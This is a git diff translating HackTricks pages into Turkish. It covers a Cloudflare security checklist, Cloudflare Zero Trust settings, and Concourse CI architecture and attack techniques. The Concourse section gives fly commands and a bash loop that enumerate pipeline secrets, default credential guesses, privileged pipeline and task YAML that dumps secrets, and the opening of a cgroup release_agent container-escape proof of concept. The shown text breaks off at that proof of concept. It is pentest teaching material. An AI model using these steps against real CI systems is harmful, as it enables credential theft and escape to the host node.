-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
- - [ ] Check that the **`Security Level`** is **medium** or greater
- - [ ] Check that the **`Challenge Passage`** is 1 hour at max
- - [ ] Check that the **`Browser Integrity Check`** is **enabled**
- - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- **`WAF`** bölümünde, **Firewall** ve **rate limiting kurallarının kullanıldığını** kontrol etmek ilginçtir.
+- **`Bypass`** eylemi, bir istekte **Cloudflare güvenlik** özelliklerini **devre dışı bırakır**. Kullanılmamalıdır.
+- **`Page Shield`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir
+- **`API Shield`** bölümünde, Cloudflare'da herhangi bir API açığa çıkmışsa **etkin** olduğunu kontrol etmek önerilir
+- **`DDoS`** bölümünde, **DDoS korumalarının** etkinleştirilmesi önerilir
+- **`Settings`** bölümünde:
+- **`Security Level`**'ın **orta** veya daha yüksek olduğunu kontrol et
+- **`Challenge Passage`**'ın en fazla 1 saat olduğunu kontrol et
+- **`Browser Integrity Check`**'in **etkin** olduğunu kontrol et
+- **`Privacy Pass Support`**'ın **etkin** olduğunu kontrol et
#### **CloudFlare DDoS Protection**
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- - Check if **Managed rules** could also help to prevent vulnerability exploitations.
- - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- Eğer mümkünse, **Bot Fight Mode** veya **Super Bot Fight Mode**'u etkinleştir. Programatik olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön yüz sayfasından). Bu erişimi bozmadan etkinleştiremeyebilirsiniz.
+- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **rate limit** oluşturabilirsiniz (Rate limiting kuralları), veya **IP, Cookie, referans** vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya bir çerezi olmayan istekleri engelleyebilirsiniz.
+- Eğer saldırı bir **doğrulanmış bot** tarafından geliyorsa, en azından **botlar için bir rate limit** ekleyin.
+- Eğer saldırı **belirli bir yola** ise, önleme mekanizması olarak bu yolda bir **rate limit** ekleyin.
+- **WAF**'daki **Tools** bölümünden IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye alabilirsiniz**.
+- **Managed rules**'ın da zafiyet istismarlarını önlemeye yardımcı olup olmadığını kontrol edin.
+- **Tools** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya meydan okuma** yapabilirsiniz.
+- DDoS'da bazı kuralları **daha kısıtlayıcı hale getirmek için geçersiz kılabilirsiniz**.
+- **Settings**: **Security Level**'ı **Yüksek** ve **Under Attack** olarak ayarlayın eğer saldırı altındaysanız ve **Browser Integrity Check etkin** ise.
+- Cloudflare Domains -> Analytics -> Security -> **rate limit**'in etkin olup olmadığını kontrol et
+- Cloudflare Domains -> Security -> Events -> **tespit edilen kötü niyetli olaylar** için kontrol et
### Access
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
### Speed
-_I couldn't find any option related to security_
+_Güvenlikle ilgili herhangi bir seçenek bulamadım_
### Caching
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- **`Configuration`** bölümünde **CSAM Scanning Tool**'un etkinleştirilmesini düşünün
### **Workers Routes**
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_Daha önce_ [_cloudflare workers_](./#workers) _kontrol etmiş olmalısınız_
### Rules
@@ -101,9 +101,9 @@ TODO
### Network
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] Eğer **`HTTP/2`** **etkinse**, **`HTTP/2 to Origin`** **etkin** olmalıdır
+- [ ] **`HTTP/3 (with QUIC)`** **etkin** olmalıdır
+- [ ] Eğer **kullanıcılarınızın** **gizliliği** önemliyse, **`Onion Routing`**'in **etkin** olduğundan emin olun
### **Traffic**
@@ -111,7 +111,7 @@ TODO
### Custom Pages
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+- Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, rate limiting veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- **Email Address Obfuscation**'ın **etkin** olduğunu kontrol et
+- **Server-side Excludes**'ın **etkin** olduğunu kontrol et
### **Zaraz**
@@ -131,7 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..485f38c47 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,64 +2,20 @@
{{#include ../../banners/hacktricks-training.md}}
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Bir **Cloudflare Zero Trust Network** hesabında bazı **ayarlar ve hizmetler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
### Analytics
-- [ ] Useful to **get to know the environment**
+- [ ] Ortamı **tanımak için** faydalı
### **Gateway**
-- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- - If used, **policies** could be created to **restrict** the access to malicious sites.
- - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- [ ] **`Policies`** bölümünde, uygulamalara kimlerin erişebileceğini **DNS**, **ağ** veya **HTTP** isteği ile **kısıtlamak** için politikalar oluşturmak mümkündür.
+- Kullanılıyorsa, kötü niyetli sitelere erişimi **kısıtlamak** için **politikalar** oluşturulabilir.
+- Bu, **bir geçit kullanılıyorsa** **sadece** geçerlidir, aksi takdirde savunma politikaları oluşturmak için bir neden yoktur.
### Access
#### Applications
-
-On each application:
-
-- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-- [ ] Check the **available identity providers** and make sure they **aren't too open**
-- [ ] In **`Settings`**:
- - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
-
-#### **Access Groups**
-
-- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
-
-#### Service Auth
-
-- [ ] Check that all service tokens **expires in 1 year or less**
-
-#### Tunnels
-
-TODO
-
-### My Team
-
-TODO
-
-### Logs
-
-- [ ] You could search for **unexpected actions** from users
-
-### Settings
-
-- [ ] Check the **plan type**
-- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..3a3535e7f 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -1,37 +1,33 @@
-# Concourse Security
+# Concourse Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourse, ihtiyaç duyduğunuzda (zaman bazlı, bir şey olduğunda...) testleri, eylemleri otomatik olarak çalıştırmak ve görüntüleri oluşturmak için **pipeline'lar** oluşturmanıza olanak tanır.
-## Concourse Architecture
+## Concourse Mimarisi
-Learn how the concourse environment is structured in:
+Concourse ortamının nasıl yapılandırıldığını öğrenin:
{{#ref}}
concourse-architecture.md
{{#endref}}
-## Concourse Lab
+## Concourse Laboratuvarı
-Learn how you can run a concourse environment locally to do your own tests in:
+Kendi testlerinizi yapmak için bir concourse ortamını yerel olarak nasıl çalıştırabileceğinizi öğrenin:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
-## Enumerate & Attack Concourse
+## Concourse'u Sayısal Olarak Belirleme ve Saldırı
-Learn how you can enumerate the concourse environment and abuse it in:
+Concourse ortamını nasıl belirleyip istismar edebileceğinizi öğrenin:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..62baf9451 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -1,42 +1,38 @@
-# Concourse Architecture
+# Concourse Mimarisi
-## Concourse Architecture
+## Concourse Mimarisi
{{#include ../../banners/hacktricks-training.md}}
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Concourse belgelerinden ilgili veriler:**](https://concourse-ci.org/internals.html)
-### Architecture
+### Mimarisi
.png>)
-#### ATC: web UI & build scheduler
+#### ATC: web UI & derleme zamanlayıcı
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu veritabanını pipeline verilerini (derleme günlükleri dahil) saklamak için kullanır.
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+[checker](https://concourse-ci.org/checker.html)'ın sorumluluğu, kaynakların yeni sürümlerini sürekli kontrol etmektir. [scheduler](https://concourse-ci.org/scheduler.html) bir iş için derlemeleri zamanlamaktan sorumludur ve [build tracker](https://concourse-ci.org/build-tracker.html) herhangi bir planlanmış derlemeyi çalıştırmaktan sorumludur. [garbage collector](https://concourse-ci.org/garbage-collector.html) ise kullanılmayan veya eski nesneleri, örneğin konteynerler ve hacimler, kaldırmak için temizlik mekanizmasıdır.
-#### TSA: worker registration & forwarding
+#### TSA: işçi kaydı & yönlendirme
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+TSA, yalnızca [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile güvenli bir şekilde **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**.
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://concourse-ci.org/internals.html#component-atc) ile birlikte yer alır ve bir yük dengeleyicinin arkasında bulunur.
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+**TSA, SSH bağlantısı üzerinden CLI'yi uygular,** [**bu komutları**](https://concourse-ci.org/internals.html#component-tsa) destekler.
-#### Workers
+#### İşçiler
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Görevleri yerine getirmek için Concourse'un bazı işçilere sahip olması gerekir. Bu işçiler, [TSA](https://concourse-ci.org/internals.html#component-tsa) aracılığıyla **kendilerini kaydeder** ve [**Garden**](https://github.com/cloudfoundry-incubator/garden) ve [**Baggageclaim**](https://github.com/concourse/baggageclaim) hizmetlerini çalıştırır.
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden**: Bu, genellikle **HTTP** üzerinden **port 7777**'de çalışan **Konteyner Yönetim API**'sidir.
+- **Baggageclaim**: Bu, genellikle **HTTP** üzerinden **port 7788**'de çalışan **Hacim Yönetim API**'sidir.
-## References
+## Referanslar
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..19af05e04 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -4,49 +4,47 @@
{{#include ../../banners/hacktricks-training.md}}
-### User Roles & Permissions
+### Kullanıcı Rolleri & İzinler
-Concourse comes with five roles:
+Concourse beş rol ile gelir:
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Yöneticiler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez.
+- **sahip**: Takım sahipleri **takım içindeki her şeyi değiştirebilir**.
+- **üye**: Takım üyeleri **takım varlıkları içinde okuyabilir ve yazabilir** ancak takım ayarlarını değiştiremez.
+- **pipeline-operator**: Pipeline operatörleri **pipeline işlemleri** gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler.
+- **görüntüleyici**: Takım görüntüleyicileri bir takıma ve onun pipeline'larına **"salt okunur" erişime** sahiptir.
> [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Ayrıca, **sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Bunun hakkında daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) okuyun.
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Concourse'un **pipeline'ları Takımlar içinde grupladığını** unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline'ları yönetebilecek ve **birden fazla Takım** var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir.
### Vars & Credential Manager
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+YAML yapılandırmalarında değerleri `((_source-name_:_secret-path_._secret-field_))` sözdizimini kullanarak yapılandırabilirsiniz.\
+[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik bilgisi yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacak veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\
+**isteğe bağlı \_secret-field**\_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik bilgisi yöneticisi, alan mevcutsa alınan kimlik bilgisinden 'varsayılan alan' okumayı seçebilir.\
+Ayrıca, _**secret-path**_ ve _**secret-field**_ `.` ve `:` gibi **özel karakterler** içeriyorsa çift tırnak `"..."` ile çevrilebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır.
-#### Static Vars
-
-Static vars can be specified in **tasks steps**:
+#### Statik Vars
+Statik vars **görev adımlarında** belirtilebilir:
```yaml
- task: unit-1.13
- file: booklit/ci/unit.yml
- vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
```
-
Or using the following `fly` **arguments**:
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+- `-v` or `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar.
+- `-y` or `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar.
+- `-i` or `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Örnek değişkenleri hakkında daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasına bakın.
+- `-l` or `--load-vars-from` `FILE` `FILE`'yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar.
#### Credential Management
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
+Bir **Credential Manager**'ın bir pipeline'da nasıl belirtileceği hakkında farklı yollar vardır, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinden okuyun.\
+Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -59,160 +57,151 @@ Moreover, Concourse supports different credential managers:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> Eğer **Concourse'a yazma erişiminiz** varsa, bu gizli bilgileri **sızdırmak için işler oluşturabilirsiniz** çünkü Concourse bunlara erişebilmelidir.
### Concourse Enumeration
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama token'ı** bulmanız gerekir.
#### Login and Current User enum
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
- - `fly targets`
-- Get if the configured **target connection** is still **valid**:
- - `fly -t status`
-- Get **role** of the user against the indicated target:
- - `fly -t userinfo`
+- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takımı** bilmeniz gerekir:
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- Yapılandırılmış **hedefleri** alın:
+- `fly targets`
+- Yapılandırılmış **hedef bağlantısının** hala **geçerli** olup olmadığını kontrol edin:
+- `fly -t status`
+- Belirtilen hedefe karşı kullanıcının **rolünü** alın:
+- `fly -t userinfo`
> [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> **API token'ının** varsayılan olarak `$HOME/.flyrc` içinde **kaydedildiğini** unutmayın, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz.
#### Teams & Users
-- Get a list of the Teams
- - `fly -t teams`
-- Get roles inside team
- - `fly -t get-team -n `
-- Get a list of users
- - `fly -t active-users`
+- Takımların bir listesini alın
+- `fly -t teams`
+- Takım içindeki rolleri alın
+- `fly -t get-team -n `
+- Kullanıcıların bir listesini alın
+- `fly -t active-users`
#### Pipelines
-- **List** pipelines:
- - `fly -t pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- - `fly -t get-pipeline -p `
-- Get all pipeline **config declared vars**
- - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
-
+- **List** pipeline'lar:
+- `fly -t pipelines -a`
+- **Get** pipeline yaml (**hassas bilgiler** tanımda bulunabilir):
+- `fly -t get-pipeline -p `
+- Tüm pipeline **yapılandırma değişkenlerini** alın
+- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- Kullanılan tüm **pipeline gizli adlarını** alın (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
- echo $pipename;
- fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
- echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
-
#### Containers & Workers
-- List **workers**:
- - `fly -t workers`
-- List **containers**:
- - `fly -t containers`
-- List **builds** (to see what is running):
- - `fly -t builds`
+- **worker'ları** listele:
+- `fly -t workers`
+- **container'ları** listele:
+- `fly -t containers`
+- **build'leri** listele (ne olduğunu görmek için):
+- `fly -t builds`
-### Concourse Attacks
+### Concourse Saldırıları
-#### Credentials Brute-Force
+#### Kimlik Bilgileri Kaba Kuvvet
- admin:admin
- test:test
-#### Secrets and params enumeration
+#### Gizli Bilgiler ve parametrelerin listelenmesi
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+Önceki bölümde, pipeline tarafından kullanılan **tüm gizli isimleri ve değişkenleri** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgiler içerebilir** ve **gizli bilgilerin isimleri** daha sonra **çalmaya çalışmak için** faydalı olacaktır.
-#### Session inside running or recently run container
-
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using:
+#### Çalışan veya yakın zamanda çalışmış container içinde oturum
+Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri** listeleyebilir ve sadece `/` **container'ında** bir **oturum açabilirsiniz**:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
+Bu izinlerle şunları yapabilirsiniz:
-With these permissions you might be able to:
+- **Konteynerin** içindeki **gizli bilgileri çalmak**
+- **Düğüm**e **kaçmaya** çalışmak
+- **Bulut meta verisi** uç noktasını (poddan ve mümkünse düğümden) saymak/istismar etmek
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### Pipeline Oluşturma/Düzenleme
+Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **yeni pipeline'lar oluşturabilir/düzenleyebilirsiniz.** Bu örneğe bakın:
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- echo "$SUPER_SECRET"
- sleep 1000
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
```
+Yeni bir pipeline'ın **modifikasyonu/yaratılması** ile şunları yapabileceksiniz:
-With the **modification/creation** of a new pipeline you will be able to:
+- **Gizli bilgileri çalmak** (onları dışa vurarak veya konteynere girip `env` komutunu çalıştırarak)
+- **Düğümden kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`)
+- **Bulut metadata** uç noktasını listelemek/suistimal etmek (pod'dan ve düğümden)
+- Oluşturulan pipeline'ı **silmek**
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
-
-#### Execute Custom Task
-
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
+#### Özel Görev Çalıştırma
+Bu, önceki yönteme benzer ancak tamamen yeni bir pipeline'ı modifiye/yaratmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
- type: registry-image
- source:
- repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
run:
- path: sh
- args:
- - -cx
- - |
- env
- sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
params:
- SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
+#### Yetkili görevden düğüme kaçış
-#### Escaping to the node from privileged task
-
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
-
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermez. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir.
+Aşağıdaki PoC'de, bazı küçük değişikliklerle kaçış yapmak için release_agent'ı kullanacağız:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
